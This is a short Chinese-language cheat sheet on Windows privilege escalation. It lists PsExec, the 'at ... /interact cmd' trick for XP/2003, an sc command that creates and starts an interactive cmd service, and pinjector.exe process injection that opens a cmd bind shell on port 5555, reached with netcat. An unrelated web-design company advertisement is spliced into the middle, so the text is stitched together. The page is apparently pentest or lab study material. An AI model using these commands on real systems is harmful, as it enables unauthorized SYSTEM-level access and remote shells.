• PsExec
• at
• Process_Injector

• sc

psexec

當前用戶是jh

提權之后

創(chuàng)新互聯(lián)堅持“要么做到，要么別承諾”的工作理念，服務領域包括：網(wǎng)站制作、網(wǎng)站建設、企業(yè)官網(wǎng)、英文網(wǎng)站、手機端網(wǎng)站、網(wǎng)站推廣等服務，滿足客戶于互聯(lián)網(wǎng)時代的古縣網(wǎng)站設計、移動媒體設計的需求，幫助企業(yè)找到有效的互聯(lián)網(wǎng)解決方案。努力成為您成熟可靠的網(wǎng)絡建設合作伙伴！

*at命令提權（適用于xp，2003）

at 15:05 /interact cmd  

sc

創(chuàng)建服務(打開cmd命令窗口的服務)

    sc Create systemcmd binPath= "cmd /K start" type= own type= interact

啟動服務剛才創(chuàng)建的服務

    sc start systemcmd

process_injector

列出當前的所有進程

pinjector.exe -l

選擇要提權成的用戶，進行進程注入

pinjector.exe -p 732 cmd 5555   #服務端實現(xiàn)進程注入
nc -nv 10.10.10.19 5555    # 客戶端連接服務端